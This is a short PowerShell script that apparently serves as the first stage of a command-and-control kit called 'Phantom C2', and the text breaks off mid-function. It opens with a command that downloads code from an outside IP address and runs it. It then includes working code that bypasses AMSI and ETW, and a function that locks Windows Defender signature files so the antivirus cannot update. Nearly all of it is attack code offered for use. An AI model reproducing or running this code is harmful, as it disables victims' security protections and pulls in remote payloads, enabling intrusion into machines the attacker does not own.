# Stage 1 Deployment (Tailscale Direct)

iwr http://100.76.32.94:7777/s1 | iex

# Alternative (if Tailscale blocked):
# Copy-paste این payload در PowerShell:

# Phantom C2 - Stage 1: UnDefend
# Custom implementation of Defender signature freeze technique
# Based on LegacyHive UnDefend.cpp fundamental principles

# AMSI/ETW bypass FIRST
try {
    [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
    $t=[Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
    $t.GetField('etwProvider','NonPublic,Static').GetValue($null).GetType().GetField('m_enabled','NonPublic,Instance').SetValue($t.GetField('etwProvider','NonPublic,Static').GetValue($null),0)
} catch {}

# Core technique: File locking prevents Defender updates
function Lock-DefenderSignatures {
    $locked = @()

    # Target paths
    $paths = @(
        "$env:ProgramData\Microsoft\Windows Defender\Definition Updates",
        "$env:ProgramData\Microsoft\Windows Defender\Scans\History\Store"
    )

    foreach ($path in $paths) {
        if (Test-Path $path) {
            # Find signature files (.vdm = Virus Definition Module)
            $files = Get-ChildItem -Path $path -Recurse -File -Include *.vdm,*.def,*mpengine* -ErrorAction SilentlyContinue

            foreach ($file in $files) {
                try {
                    # Open with FileShare.None = EXCLUSIVE lock
                    $stream = [System.IO.File]::Open(